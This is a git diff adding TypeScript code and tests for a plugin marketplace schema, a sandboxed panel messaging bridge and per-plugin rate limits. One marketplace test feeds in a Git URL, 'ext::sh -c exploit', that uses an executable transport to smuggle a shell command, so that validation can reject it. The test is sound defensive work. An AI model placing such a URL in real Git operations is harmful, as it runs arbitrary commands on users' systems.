+export function satisfiesOrcaEngineRange(hostVersion: string, range: string): boolean {
+  const minimum = range.slice(2)
+  const parse = (value: string): number[] =>
+    value
+      .split(/[-+]/)[0]!
+      .split('.')
+      .map((part) => Number.parseInt(part, 10) || 0)
+  const host = parse(hostVersion)
+  const min = parse(minimum)
+  for (let i = 0; i < 3; i++) {
+    const a = host[i] ?? 0
+    const b = min[i] ?? 0
+    if (a !== b) {
+      return a > b
+    }
+  }
+  return true
+}
+
+/** Sidebar tab key for a plugin panel: `plugin:<publisher>.<id>/<panelId>`. */
+export function pluginPanelTabKey(qualifiedKey: string, panelId: string): `plugin:${string}` {
+  return `plugin:${qualifiedKey}/${panelId}`
+}
+
+export function isPluginPanelTabKey(tab: string): tab is `plugin:${string}` {
+  if (!tab.startsWith('plugin:')) {
+    return false
+  }
+  const rest = tab.slice('plugin:'.length)
+  const [qualifiedKey, panelId, ...extra] = rest.split('/')
+  return (
+    extra.length === 0 &&
+    !!qualifiedKey &&
+    !!panelId &&
+    isQualifiedPluginKey(qualifiedKey) &&
+    isPluginManifestId(panelId)
+  )
+}
diff --git a/src/shared/plugins/plugin-marketplace.test.ts b/src/shared/plugins/plugin-marketplace.test.ts
new file mode 100644
index 000000000..8effa173f
--- /dev/null
+++ b/src/shared/plugins/plugin-marketplace.test.ts
@@ -0,0 +1,188 @@
+import { describe, expect, it } from 'vitest'
+import {
+  OFFICIAL_MARKETPLACE_REPOSITORY,
+  PLUGIN_MARKETPLACE_CATEGORY_LIMIT,
+  PLUGIN_MARKETPLACE_ENTRY_LIMIT,
+  isMarketplaceListingSupported,
+  isOfficialMarketplaceGitSource,
+  isOfficialOrganizationGitSource,
+  isOfficialPluginIdentity,
+  isReservedPluginIdentity,
+  parseGitRepositoryIdentity,
+  pluginMarketplaceSchema,
+  pluginMarketplaceTrustMetadataSchema
+} from './plugin-marketplace'
+
+function listing(id = 'community.nord'): Record<string, unknown> {
+  return {
+    id,
+    source: { kind: 'git', url: 'https://github.com/community/nord.git', ref: 'v1.0.0' },
+    description: 'A theme pack',
+    categories: ['themes']
+  }
+}
+
+describe('pluginMarketplaceSchema', () => {
+  it('parses a bounded, pinned Git marketplace index', () => {
+    expect(
+      pluginMarketplaceSchema.parse({
+        name: 'Community plugins',
+        owner: 'community',
+        plugins: [listing()]
+      })
+    ).toEqual({
+      name: 'Community plugins',
+      owner: 'community',
+      plugins: [listing()]
+    })
+  })
+
+  it.each([
+    ['root', { name: 'Plugins', owner: 'team', plugins: [], extra: true }],
+    ['entry', { name: 'Plugins', owner: 'team', plugins: [{ ...listing(), official: true }] }],
+    [
+      'source',
+      {
+        name: 'Plugins',
+        owner: 'team',
+        plugins: [
+          {
+            ...listing(),
+            source: {
+              kind: 'git',
+              url: 'https://github.com/community/nord.git',
+              ref: 'main',
+              depth: 1
+            }
+          }
+        ]
+      }
+    ]
+  ])('rejects unknown keys at the %s boundary', (_boundary, marketplace) => {
+    expect(pluginMarketplaceSchema.safeParse(marketplace).success).toBe(false)
+  })
+
+  it.each([
+    ['an unqualified id', { ...listing(), id: 'nord' }],
+    [
+      'a missing ref',
+      {
+        ...listing(),
+        source: { kind: 'git', url: 'https://github.com/community/nord.git', ref: '' }
+      }
+    ],
+    [
+      'an executable Git transport',
+      {
+        ...listing(),
+        source: { kind: 'git', url: 'ext::sh -c exploit', ref: 'main' }
+      }
+    ],
+    ['a duplicate category', { ...listing(), categories: ['themes', 'themes'] }],
+    [
+      'too many categories',
+      {
+        ...listing(),
+        categories: Array.from(
+          { length: PLUGIN_MARKETPLACE_CATEGORY_LIMIT + 1 },
+          (_, index) => `category-${index}`
+        )
+      }
+    ]
+  ])('rejects %s', (_label, entry) => {
+    expect(
+      pluginMarketplaceSchema.safeParse({ name: 'Plugins', owner: 'team', plugins: [entry] })
+        .success
+    ).toBe(false)
+  })
+
+  it('rejects duplicate plugin identities', () => {
+    const parsed = pluginMarketplaceSchema.safeParse({
+      name: 'Plugins',
+      owner: 'team',
+      plugins: [listing(), listing()]
+    })
+
+    expect(parsed.success).toBe(false)
+    if (!parsed.success) {
+      expect(parsed.error.issues).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ message: 'duplicate plugin id: community.nord' })
+        ])
+      )
+    }
+  })
+
+  it('caps the marketplace entry count', () => {
+    const plugins = Array.from({ length: PLUGIN_MARKETPLACE_ENTRY_LIMIT + 1 }, (_, index) =>
+      listing(`publisher.plugin-${index}`)
+    )
+    expect(
+      pluginMarketplaceSchema.safeParse({ name: 'Plugins', owner: 'team', plugins }).success
+    ).toBe(false)
+  })
+})
+
+describe('marketplace provenance contracts', () => {
+  it.each([
+    ['stablyai.orca-skills', true, true],
+    ['stablyai.skills', true, false],
+    ['community.orca-skills', true, false],
+    ['community.skills', false, false],
+    ['invalid', false, false]
+  ])('classifies %s', (pluginKey, reserved, official) => {
+    expect(isReservedPluginIdentity(pluginKey)).toBe(reserved)
+    expect(isOfficialPluginIdentity(pluginKey)).toBe(official)
+  })
+
+  it.each([
+    'https://github.com/stablyai/orca-skills.git',
+    'ssh://git@github.com/stablyai/orca-skills.git',
+    'git@github.com:stablyai/orca-skills.git'
+  ])('accepts official organization source %s', (source) => {
+    expect(isOfficialOrganizationGitSource(source)).toBe(true)
+  })
+
+  it('does not trust lookalike organizations or hosts', () => {
+    expect(isOfficialOrganizationGitSource('https://github.com/stablyai-fakes/orca-skills')).toBe(
+      false
+    )
+    expect(isOfficialOrganizationGitSource('https://gitlab.com/stablyai/orca-skills')).toBe(false)
+  })
+
+  it('recognizes only the canonical official marketplace repository', () => {
+    expect(
+      isOfficialMarketplaceGitSource(
+        `git@github.com:stablyai/${OFFICIAL_MARKETPLACE_REPOSITORY}.git`
+      )
+    ).toBe(true)
+    expect(isOfficialMarketplaceGitSource('git@github.com:stablyai/plugins.git')).toBe(false)
+  })
+
+  it('parses nested repository paths without confusing the repository name', () => {
+    expect(parseGitRepositoryIdentity('https://gitlab.com/team/subgroup/plugin.git')).toEqual({
+      host: 'gitlab.com',
+      owner: 'team',
+      repository: 'plugin'
+    })
+  })
+
+  it('prevents an untrusted listing from self-awarding trust metadata', () => {
+    expect(pluginMarketplaceTrustMetadataSchema.parse({ official: true, bundled: true })).toEqual({
+      official: true,
+      bundled: true
+    })
+    expect(
+      pluginMarketplaceTrustMetadataSchema.safeParse({ official: false, bundled: true }).success
+    ).toBe(false)
+  })
+
+  it('marks listings with a deferred contribution category as unsupported', () => {
+    expect(isMarketplaceListingSupported(['vm-recipes', 'official'])).toBe(true)
+    expect(isMarketplaceListingSupported(['keybindings'])).toBe(true)
+    expect(isMarketplaceListingSupported([])).toBe(true)
+    for (const deferred of ['themes', 'icons', 'icon-themes', 'terminal-themes', 'skills']) {
+      expect(isMarketplaceListingSupported([deferred, 'official'])).toBe(false)
+    }
+  })
+})
diff --git a/src/shared/plugins/plugin-marketplace.ts b/src/shared/plugins/plugin-marketplace.ts
new file mode 100644
index 000000000..98d7eb805
--- /dev/null
+++ b/src/shared/plugins/plugin-marketplace.ts
@@ -0,0 +1,207 @@
+import { z } from 'zod'
+import { isAllowedPluginGitUrl } from './plugin-install-lockfile'
+import { isQualifiedPluginKey } from './plugin-manifest'
+
+export const PLUGIN_MARKETPLACE_FILENAME = 'orca-marketplace.json'
+export const PLUGIN_MARKETPLACE_ENTRY_LIMIT = 2_048
+export const PLUGIN_MARKETPLACE_CATEGORY_LIMIT = 16
+
+export const OFFICIAL_PLUGIN_PUBLISHER = 'stablyai'
+export const OFFICIAL_PLUGIN_ID_PREFIX = 'orca-'
+export const OFFICIAL_MARKETPLACE_OWNER = 'stablyai'
+export const OFFICIAL_MARKETPLACE_REPOSITORY = 'orca-plugins'
+
+// Why: theme/icon/skill contributions were deferred, so `contributes` now
+// rejects them and any plugin declaring one fails to install wholesale. The
+// shared marketplace index (which this build does not control) still advertises
+// such packs; hide listings that carry these categories so users never hit a
+// dead "install" path until the marketplace catches up.
+export const UNSUPPORTED_MARKETPLACE_CATEGORIES: readonly string[] = [
+  'themes',
+  'icons',
+  'icon-themes',
+  'terminal-themes',
+  'skills'
+]
+
+export function isMarketplaceListingSupported(categories: readonly string[]): boolean {
+  return !categories.some((category) => UNSUPPORTED_MARKETPLACE_CATEGORIES.includes(category))
+}
+
+const marketplaceOwnerSchema = z
+  .string()
+  .min(1)
+  .max(128)
+  .regex(/^[A-Za-z0-9](?:[A-Za-z0-9._-]*[A-Za-z0-9])?$/, 'invalid marketplace owner')
+
+const marketplaceCategorySchema = z
+  .string()
+  .min(1)
+  .max(64)
+  .regex(/^[a-z0-9]+(?:-[a-z0-9]+)*$/, 'categories must be lowercase slugs')
+
+export const pluginMarketplaceGitSourceSchema = z.strictObject({
+  kind: z.literal('git'),
+  url: z
+    .string()
+    .trim()
+    .min(1)
+    .max(32 * 1024)
+    .refine(isAllowedPluginGitUrl, 'git URL must use HTTPS or SSH'),
+  // Why: marketplace installs must first resolve a named ref to an exact
+  // commit; an omitted remote default would make the listing irreproducible.
+  ref: z.string().trim().min(1).max(4_096)
+})
+
+export const pluginMarketplaceEntrySchema = z
+  .strictObject({
+    /** Canonical `<publisher>.<id>` identity expected in the source manifest. */
+    id: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
+    source: pluginMarketplaceGitSourceSchema,
+    description: z.string().min(1).max(4_096).optional(),
+    categories: z
+      .array(marketplaceCategorySchema)
+      .max(PLUGIN_MARKETPLACE_CATEGORY_LIMIT)
+      .default([])
+  })
+  .superRefine((entry, context) => {
+    const seen = new Set<string>()
+    for (const [index, category] of entry.categories.entries()) {
+      if (seen.has(category)) {
+        context.addIssue({
+          code: z.ZodIssueCode.custom,
+          path: ['categories', index],
+          message: `duplicate category: ${category}`
+        })
+      }
+      seen.add(category)
+    }
+  })
+
+export const pluginMarketplaceSchema = z
+  .strictObject({
+    name: z.string().min(1).max(256),
+    owner: marketplaceOwnerSchema,
+    plugins: z.array(pluginMarketplaceEntrySchema).max(PLUGIN_MARKETPLACE_ENTRY_LIMIT)
+  })
+  .superRefine((marketplace, context) => {
+    const seen = new Set<string>()
+    for (const [index, plugin] of marketplace.plugins.entries()) {
+      if (seen.has(plugin.id)) {
+        context.addIssue({
+          code: z.ZodIssueCode.custom,
+          path: ['plugins', index, 'id'],
+          message: `duplicate plugin id: ${plugin.id}`
+        })
+      }
+      seen.add(plugin.id)
+    }
+  })
+
+/** Host-derived trust metadata. Marketplace JSON cannot self-award either bit. */
+export const pluginMarketplaceTrustMetadataSchema = z
+  .strictObject({
+    official: z.boolean(),
+    bundled: z.boolean()
+  })
+  .refine((metadata) => !metadata.bundled || metadata.official, {
+    message: 'bundled plugins must be official',
+    path: ['bundled']
+  })
+
+export type PluginMarketplace = z.infer<typeof pluginMarketplaceSchema>
+export type PluginMarketplaceEntry = z.infer<typeof pluginMarketplaceEntrySchema>
+export type PluginMarketplaceGitSource = z.infer<typeof pluginMarketplaceGitSourceSchema>
+export type PluginMarketplaceTrustMetadata = z.infer<typeof pluginMarketplaceTrustMetadataSchema>
+
+export const OFFICIAL_MARKETPLACE_GIT_SOURCE: PluginMarketplaceGitSource = {
+  kind: 'git',
+  url: 'https://github.com/stablyai/orca-plugins.git',
+  ref: 'main'
+}
+
+export function splitQualifiedPluginKey(pluginKey: string): {
+  publisher: string
+  id: string
+} | null {
+  if (!isQualifiedPluginKey(pluginKey)) {
+    return null
+  }
+  const separator = pluginKey.indexOf('.')
+  return {
+    publisher: pluginKey.slice(0, separator),
+    id: pluginKey.slice(separator + 1)
+  }
+}
+
+export function isReservedPluginIdentity(pluginKey: string): boolean {
+  const identity = splitQualifiedPluginKey(pluginKey)
+  return (
+    identity !== null &&
+    (identity.publisher === OFFICIAL_PLUGIN_PUBLISHER ||
+      identity.id.startsWith(OFFICIAL_PLUGIN_ID_PREFIX))
+  )
+}
+
+export function isOfficialPluginIdentity(pluginKey: string): boolean {
+  const identity = splitQualifiedPluginKey(pluginKey)
+  return (
+    identity !== null &&
+    identity.publisher === OFFICIAL_PLUGIN_PUBLISHER &&
+    identity.id.startsWith(OFFICIAL_PLUGIN_ID_PREFIX)
+  )
+}
+
+type GitRepositoryIdentity = {
+  host: string
+  owner: string
+  repository: string
+}
+
+/** Extracts the host and first owner segment from the HTTPS/SSH Git forms the
+ * installer accepts. It is intentionally only a provenance parser. */
+export function parseGitRepositoryIdentity(url: string): GitRepositoryIdentity | null {
+  const trimmed = url.trim()
+  const scp = /^[^\s@/:]+@([^\s:]+):(.+)$/.exec(trimmed)
+  if (scp) {
+    return repositoryIdentity(scp[1]!, scp[2]!)
+  }
+  try {
+    const parsed = new URL(trimmed)
+    if (parsed.protocol !== 'https:' && parsed.protocol !== 'ssh:') {
+      return null
+    }
+    return repositoryIdentity(parsed.hostname, parsed.pathname)
+  } catch {
+    return null
+  }
+}
+
+function repositoryIdentity(host: string, repositoryPath: string): GitRepositoryIdentity | null {
+  const segments = repositoryPath
+    .replace(/^\/+|\/+$/g, '')
+    .split('/')
+    .filter(Boolean)
+  if (segments.length < 2) {
+    return null
+  }
+  const repository = segments.at(-1)!.replace(/\.git$/i, '')
+  if (!repository) {
+    return null
+  }
+  return { host: host.toLowerCase(), owner: segments[0]!, repository }
+}
+
+export function isOfficialOrganizationGitSource(url: string): boolean {
+  const source = parseGitRepositoryIdentity(url)
+  return source?.host === 'github.com' && source.owner.toLowerCase() === OFFICIAL_PLUGIN_PUBLISHER
+}
+
+export function isOfficialMarketplaceGitSource(url: string): boolean {
+  const source = parseGitRepositoryIdentity(url)
+  return (
+    source?.host === 'github.com' &&
+    source.owner.toLowerCase() === OFFICIAL_MARKETPLACE_OWNER &&
+    source.repository.toLowerCase() === OFFICIAL_MARKETPLACE_REPOSITORY
+  )
+}
diff --git a/src/shared/plugins/plugin-panel-bridge.ts b/src/shared/plugins/plugin-panel-bridge.ts
new file mode 100644
index 000000000..5a9a6b253
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-bridge.ts
@@ -0,0 +1,150 @@
+import { z } from 'zod'
+import { getPluginHostMethodSpec, isPluginPanelAction } from './plugin-host-api'
+
+/**
+ * postMessage protocol between a sandboxed plugin panel iframe and the host
+ * renderer, plus the action call shape relayed to main. The frame has an
+ * opaque origin (sandbox="allow-scripts"), so neither side can use origins
+ * for trust: the host verifies the sending window's identity and re-validates
+ * every payload here; main re-checks capabilities before executing.
+ *
+ * Param/result schemas come from the host API v0 spec table — the panel
+ * bridge is a transport, not a second contract.
+ */
+
+export const PANEL_ACTION_REQUEST_TYPE = 'orca-panel-action'
+export const PANEL_ACTION_RESULT_TYPE = 'orca-panel-action-result'
+export const PANEL_PING_TYPE = 'orca-panel-ping'
+export const PANEL_PONG_TYPE = 'orca-panel-pong'
+export const PLUGIN_PANEL_FRAME_NAME_PREFIX = 'orca-plugin-panel:'
+
+/** Per-plugin bridge budgets, enforced host-side. */
+export const PANEL_MESSAGE_MAX_BYTES = 64 * 1024
+export const PANEL_MESSAGE_RATE_LIMIT = { maxMessages: 30, perMs: 10_000 }
+
+/** Watchdog cadence: a panel that misses a pong deadline is demoted to an
+ *  errored badge. Busy-loop detection is valid only while the runtime frame-
+ *  process gate confirms the sandbox stays outside the host renderer. */
+export const PANEL_WATCHDOG_PING_INTERVAL_MS = 10_000
+export const PANEL_WATCHDOG_PONG_TIMEOUT_MS = 5_000
+
+export const panelActionRequestSchema = z.object({
+  type: z.literal(PANEL_ACTION_REQUEST_TYPE),
+  /** Plugin-chosen correlation id echoed back on the result message. */
+  requestId: z.string().min(1).max(128),
+  action: z.string().min(1).refine(isPluginPanelAction, 'not a panel-callable action'),
+  params: z.unknown().optional()
+})
+
+export type PluginPanelActionRequest = z.infer<typeof panelActionRequestSchema>
+
+export const panelPongSchema = z.object({
+  type: z.literal(PANEL_PONG_TYPE),
+  pingId: z.number().int().nonnegative()
+})
+
+export type PluginPanelActionErrorCode =
+  | 'invalid_request'
+  | 'unknown_method'
+  | 'capability_denied'
+  | 'consent_required'
+  | 'panel_forbidden'
+  | 'invalid_params'
+  | 'rate_limited'
+  | 'unavailable'
+  | 'action_failed'
+
+/** Result message posted back into the panel iframe. */
+export type PluginPanelActionResultMessage = {
+  type: typeof PANEL_ACTION_RESULT_TYPE
+  requestId: string
+  ok: boolean
+  value?: unknown
+  errorCode?: PluginPanelActionErrorCode
+  error?: string
+}
+
+/** Outcome of executing a panel action in main (wire shape of
+ *  `plugins:panelAction` / `plugins.panelAction`). */
+export type PluginPanelActionOutcome =
+  | { ok: true; value: unknown }
+  | { ok: false; code: PluginPanelActionErrorCode; error: string }
+
+export const panelSessionTokenSchema = z.string().min(32).max(128)
+
+/** Call shape relayed by a trusted panel host. The opaque session is issued
+ *  while loading one approved panel, so the caller never supplies identity. */
+export const panelActionCallSchema = z
+  .object({
+    sessionToken: panelSessionTokenSchema,
+    action: z.string().min(1),
+    params: z.unknown().optional()
+  })
+  .strict()
+
+export type PluginPanelActionCall = z.infer<typeof panelActionCallSchema>
+
+export type PluginPanelEntry = {
+  html: string
+  sessionToken: string
+}
+
+export type PanelActionRequestParseResult =
+  | { ok: true; request: PluginPanelActionRequest }
+  | { ok: false; requestId: string | null; error: string }
+
+/** Validates a raw `message` event payload from the panel iframe. On failure
+ *  still surfaces a best-effort requestId so the host can answer with an
+ *  error instead of silently dropping the request. */
+export function parsePanelActionRequest(data: unknown): PanelActionRequestParseResult {
+  const parsed = panelActionRequestSchema.safeParse(data)
+  if (parsed.success) {
+    return { ok: true, request: parsed.data }
+  }
+  let requestId: string | null = null
+  if (typeof data === 'object' && data !== null && 'requestId' in data) {
+    const raw = (data as { requestId?: unknown }).requestId
+    if (typeof raw === 'string' && raw.length > 0 && raw.length <= 128) {
+      requestId = raw
+    }
+  }
+  const issue = parsed.error.issues[0]
+  const path = issue?.path.join('.') || '(root)'
+  return {
+    ok: false,
+    requestId,
+    error: `${path}: ${issue?.message ?? 'invalid panel action request'}`
+  }
+}
+
+/** True when `data` even looks like a bridge request (right `type`). Used to
+ *  ignore unrelated window messages without replying to them. */
+export function looksLikePanelActionRequest(data: unknown): boolean {
+  return (
+    typeof data === 'object' &&
+    data !== null &&
+    (data as { type?: unknown }).type === PANEL_ACTION_REQUEST_TYPE
+  )
+}
+
+export function looksLikePanelPong(data: unknown): boolean {
+  return panelPongSchema.safeParse(data).success
+}
+
+/** Validates action params against the host API spec (shared with workers). */
+export function parsePanelActionParams(
+  action: string,
+  params: unknown
+): { ok: true; params: unknown } | { ok: false; error: string } {
+  const spec = getPluginHostMethodSpec(action)
+  if (!spec) {
+    return { ok: false, error: `unknown action: ${action}` }
+  }
+  const parsed = spec.params.safeParse(params)
+  if (!parsed.success) {
+    const issue = parsed.error.issues[0]
+    const path = issue?.path.join('.') || '(root)'
+    return { ok: false, error: `${path}: ${issue?.message ?? 'invalid action params'}` }
+  }
+  return { ok: true, params: parsed.data }
+}
diff --git a/src/shared/plugins/plugin-panel-call-admission.test.ts b/src/shared/plugins/plugin-panel-call-admission.test.ts
new file mode 100644
index 000000000..7201562a8
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-call-admission.test.ts
@@ -0,0 +1,32 @@
+import { describe, expect, it } from 'vitest'
+import { createPluginPanelCallAdmission } from './plugin-panel-call-admission'
+
+describe('createPluginPanelCallAdmission', () => {
+  it('shares the rate budget across panel sessions for one plugin', () => {
+    let now = 0
+    const admission = createPluginPanelCallAdmission({
+      limits: { maxMessages: 2, perMs: 1_000 },
+      now: () => now
+    })
+
+    expect(admission.admit('orca-samples.one', { method: 'one' })).toBeNull()
+    expect(admission.admit('orca-samples.one', { method: 'two' })).toBeNull()
+    expect(admission.admit('orca-samples.one', { method: 'three' })).toBe('rate_limited')
+    expect(admission.admit('orca-samples.two', { method: 'one' })).toBeNull()
+
+    now = 1_000
+    expect(admission.admit('orca-samples.one', { method: 'four' })).toBeNull()
+  })
+
+  it('rejects oversized calls and can revoke a plugin budget', () => {
+    const admission = createPluginPanelCallAdmission({
+      limits: { maxBytes: 32, maxMessages: 1, perMs: 10_000 },
+      now: () => 0
+    })
+
+    expect(admission.admit('orca-samples.one', { payload: 'x'.repeat(64) })).toBe('oversized')
+    expect(admission.admit('orca-samples.one', {})).toBe('rate_limited')
+    admission.clear('orca-samples.one')
+    expect(admission.admit('orca-samples.one', {})).toBeNull()
+  })
+})
diff --git a/src/shared/plugins/plugin-panel-call-admission.ts b/src/shared/plugins/plugin-panel-call-admission.ts
new file mode 100644
index 000000000..b2a305296
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-call-admission.ts
@@ -0,0 +1,63 @@
+import {
+  createPanelMessageBudget,
+  structuredCloneMessageBytes,
+  type PanelMessageBudget
+} from './plugin-panel-message-budget'
+import type { PluginPanelActionOutcome } from './plugin-panel-bridge'
+
+export type PluginPanelCallRefusal = 'oversized' | 'rate_limited'
+
+export type PluginPanelCallAdmission = {
+  admit(pluginKey: string, message: unknown): PluginPanelCallRefusal | null
+  clear(pluginKey?: string): void
+}
+
+export function admitPluginPanelCall(
+  admission: PluginPanelCallAdmission,
+  pluginKey: string,
+  message: unknown
+): PluginPanelActionOutcome | null {
+  const refusal = admission.admit(pluginKey, message)
+  if (refusal === 'oversized') {
+    return { ok: false, code: 'invalid_request', error: 'panel message exceeds the size limit' }
+  }
+  if (refusal === 'rate_limited') {
+    return { ok: false, code: 'rate_limited', error: 'too many panel requests' }
+  }
+  return null
+}
+
+type PluginPanelCallAdmissionOptions = {
+  limits?: { maxBytes?: number; maxMessages?: number; perMs?: number }
+  now?: () => number
+}
+
+/** One budget per qualified plugin identity, shared by every panel session
+ *  using this transport boundary. */
+export function createPluginPanelCallAdmission(
+  options: PluginPanelCallAdmissionOptions = {}
+): PluginPanelCallAdmission {
+  const budgets = new Map<string, PanelMessageBudget>()
+  const now = options.now ?? (() => Date.now())
+  const budgetFor = (pluginKey: string): PanelMessageBudget => {
+    let budget = budgets.get(pluginKey)
+    if (!budget) {
+      budget = createPanelMessageBudget(options.limits)
+      budgets.set(pluginKey, budget)
+    }
+    return budget
+  }
+  return {
+    admit(pluginKey, message) {
+      const budget = budgetFor(pluginKey)
+      return budget.admit(now(), structuredCloneMessageBytes(message, budget.maxBytes))
+    },
+    clear(pluginKey) {
+      if (pluginKey === undefined) {
+        budgets.clear()
+      } else {
+        budgets.delete(pluginKey)
+      }
+    }
+  }
+}
diff --git a/src/shared/plugins/plugin-panel-message-budget.test.ts b/src/shared/plugins/plugin-panel-message-budget.test.ts
new file mode 100644
index 000000000..aaf5d7eb7
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-message-budget.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from 'vitest'
+import {
+  createPanelMessageBudget,
+  structuredCloneMessageBytes
+} from './plugin-panel-message-budget'
+
+describe('structuredCloneMessageBytes', () => {
+  it('counts strings as UTF-8 bytes', () => {
+    expect(structuredCloneMessageBytes('é')).toBe(2)
+    expect(structuredCloneMessageBytes('🐋')).toBe(4)
+  })
+
+  it('counts binary backing stores instead of JSON object projections', () => {
+    const buffer = new ArrayBuffer(128)
+    const tinyView = new Uint8Array(buffer, 0, 1)
+
+    expect(structuredCloneMessageBytes(tinyView, 256)).toBeGreaterThanOrEqual(128)
+    expect(structuredCloneMessageBytes(new Blob([new Uint8Array(80)]), 256)).toBe(80)
+  })
+
+  it('handles cycles and stops walking once the cap is exceeded', () => {
+    const cyclic: { self?: unknown; text: string } = { text: 'x'.repeat(100) }
+    cyclic.self = cyclic
+
+    expect(structuredCloneMessageBytes(cyclic, 32)).toBe(33)
+  })
+})
+
+describe('createPanelMessageBudget', () => {
+  it('charges oversized traffic against the message-rate budget', () => {
+    const budget = createPanelMessageBudget({ maxBytes: 10, maxMessages: 2, perMs: 1_000 })
+
+    expect(budget.admit(0, 11)).toBe('oversized')
+    expect(budget.admit(1, 1)).toBeNull()
+    expect(budget.admit(2, 1)).toBe('rate_limited')
+  })
+})
diff --git a/src/shared/plugins/plugin-panel-message-budget.ts b/src/shared/plugins/plugin-panel-message-budget.ts
new file mode 100644
index 000000000..332065516
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-message-budget.ts
@@ -0,0 +1,181 @@
+import { PANEL_MESSAGE_MAX_BYTES, PANEL_MESSAGE_RATE_LIMIT } from './plugin-panel-bridge'
+
+/**
+ * Per-plugin bridge budgets: message size cap and a sliding-window rate
+ * limit. Pure (caller supplies the clock) so both the renderer bridge host
+ * and tests exercise identical decisions.
+ */
+
+export type PanelMessageBudget = {
+  readonly maxBytes?: number
+  /** Returns null when the message may proceed, or a refusal reason. */
+  admit(now: number, messageBytes: number): 'oversized' | 'rate_limited' | null
+}
+
+export function createPanelMessageBudget(
+  limits: { maxBytes?: number; maxMessages?: number; perMs?: number } = {}
+): PanelMessageBudget {
+  const maxBytes = limits.maxBytes ?? PANEL_MESSAGE_MAX_BYTES
+  const maxMessages = limits.maxMessages ?? PANEL_MESSAGE_RATE_LIMIT.maxMessages
+  const perMs = limits.perMs ?? PANEL_MESSAGE_RATE_LIMIT.perMs
+  const timestamps: number[] = []
+  return {
+    maxBytes,
+    admit(now, messageBytes) {
+      while (timestamps.length > 0 && timestamps[0]! <= now - perMs) {
+        timestamps.shift()
+      }
+      const rateLimited = timestamps.length >= maxMessages
+      // Oversized and malformed traffic still spends rate budget; otherwise
+      // it can force unbounded size-estimation work for free.
+      if (rateLimited) {
+        return 'rate_limited'
+      }
+      timestamps.push(now)
+      if (messageBytes > maxBytes) {
+        return 'oversized'
+      }
+      return null
+    }
+  }
+}
+
+const textEncoder = new TextEncoder()
+
+function utf8Bytes(value: string, stopAfter: number): number {
+  // UTF-8 is never shorter than the JS code-unit count, so avoid allocating
+  // a large encoded copy once the cap is already proven exceeded.
+  if (value.length > stopAfter) {
+    return stopAfter + 1
+  }
+  return textEncoder.encode(value).byteLength
+}
+
+/**
+ * Bounded byte estimate for values accepted by structured clone. It counts
+ * strings as UTF-8 and binary backing stores by byteLength, handles cycles,
+ * and stops walking as soon as the host cap is exceeded.
+ */
+export function structuredCloneMessageBytes(
+  data: unknown,
+  stopAfter = PANEL_MESSAGE_MAX_BYTES
+): number {
+  const seen = new WeakSet<object>()
+  let total = 0
+  let visitedNodes = 0
+
+  const add = (bytes: number): void => {
+    total = Math.min(stopAfter + 1, total + bytes)
+  }
+
+  const visit = (value: unknown, depth: number): void => {
+    if (total > stopAfter) {
+      return
+    }
+    if (value === null) {
+      add(1)
+      return
+    }
+    switch (typeof value) {
+      case 'undefined':
+      case 'boolean':
+        add(1)
+        return
+      case 'number':
+        add(8)
+        return
+      case 'bigint':
+        add(utf8Bytes(value.toString(), stopAfter - total))
+        return
+      case 'string':
+        add(utf8Bytes(value, stopAfter - total))
+        return
+      case 'symbol':
+      case 'function':
+        total = stopAfter + 1
+        return
+      case 'object':
+        break
+    }
+    const object = value as object
+    if (seen.has(object)) {
+      add(8)
+      return
+    }
+    seen.add(object)
+    visitedNodes += 1
+    if (visitedNodes > 10_000 || depth > 100) {
+      total = stopAfter + 1
+      return
+    }
+
+    if (object instanceof ArrayBuffer) {
+      add(object.byteLength)
+      return
+    }
+    if (typeof SharedArrayBuffer !== 'undefined' && object instanceof SharedArrayBuffer) {
+      add(object.byteLength)
+      return
+    }
+    if (ArrayBuffer.isView(object)) {
+      add(16)
+      visit(object.buffer, depth + 1)
+      return
+    }
+    if (typeof Blob !== 'undefined' && object instanceof Blob) {
+      add(object.size)
+      return
+    }
+    if (object instanceof Date) {
+      add(8)
+      return
+    }
+    if (object instanceof RegExp) {
+      visit(object.source, depth + 1)
+      visit(object.flags, depth + 1)
+      return
+    }
+    if (object instanceof Map) {
+      add(8)
+      for (const [key, entry] of object) {
+        add(4)
+        visit(key, depth + 1)
+        visit(entry, depth + 1)
+      }
+      return
+    }
+    if (object instanceof Set) {
+      add(8)
+      for (const entry of object) {
+        add(4)
+        visit(entry, depth + 1)
+      }
+      return
+    }
+    if (Array.isArray(object)) {
+      add(8)
+      for (const entry of object) {
+        add(4)
+        visit(entry, depth + 1)
+      }
+      return
+    }
+    try {
+      const prototype = Object.getPrototypeOf(object)
+      if (prototype !== Object.prototype && prototype !== null) {
+        total = stopAfter + 1
+        return
+      }
+      for (const key of Object.keys(object)) {
+        add(4)
+        add(utf8Bytes(key, stopAfter - total))
+        visit((object as Record<string, unknown>)[key], depth + 1)
+      }
+    } catch {
+      total = stopAfter + 1
+    }
+  }
+
+  visit(data, 0)
+  return total
+}
diff --git a/src/shared/plugins/plugin-panel-shell.test.ts b/src/shared/plugins/plugin-panel-shell.test.ts
new file mode 100644
index 000000000..bc503df8d
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-shell.test.ts
@@ -0,0 +1,53 @@
+// @vitest-environment happy-dom
+
+import { describe, expect, it } from 'vitest'
+import {
+  buildPluginPanelShellHtml,
+  PANEL_DESIGN_TOKEN_ALLOWLIST,
+  PLUGIN_PANEL_CSP
+} from './plugin-panel-shell'
+
+describe('buildPluginPanelShellHtml', () => {
+  it('keeps destructive surface and foreground tokens paired', () => {
+    expect(PANEL_DESIGN_TOKEN_ALLOWLIST).toEqual(
+      expect.arrayContaining(['--destructive', '--destructive-foreground'])
+    )
+  })
+
+  it('places CSP and navigation guards before plugin content', () => {
+    const html = buildPluginPanelShellHtml('<main id="plugin-content">Plugin</main>')
+    const pluginOffset = html.indexOf('plugin-content')
+
+    expect(PLUGIN_PANEL_CSP).toContain("form-action 'none'")
+    expect(html.indexOf('Content-Security-Policy')).toBeLessThan(pluginOffset)
+    expect(html.indexOf("window.navigation.addEventListener('navigate'")).toBeLessThan(pluginOffset)
+    expect(html.indexOf("window.addEventListener('click'")).toBeLessThan(pluginOffset)
